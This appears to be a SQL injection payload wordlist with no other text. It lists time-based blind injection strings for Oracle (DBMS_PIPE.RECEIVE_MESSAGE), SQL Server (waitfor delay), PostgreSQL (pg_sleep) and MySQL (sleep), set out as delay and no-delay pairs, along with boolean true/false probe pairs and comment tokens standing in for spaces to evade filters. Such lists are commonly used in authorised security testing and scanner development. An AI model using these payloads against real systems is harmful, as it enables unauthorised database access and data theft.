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'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('y',2)='y

'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',0)='x

'and(select+1)>0waitfor/**/delay'0:0:2

'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(2))::text>'0

'/**/and(select'1'from/**/pg_sleep(0))::text>'0

"and(select*from(select+sleep(2))a/**/union/**/select+1)="

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

'and(select*from(select+sleep(2))a/**/union/**/select+1)='

'and(select*from(select+sleep(0))a/**/union/**/select+1)='

"and"l"="c

"and"g"="g

'and's'='e

'and'u'='u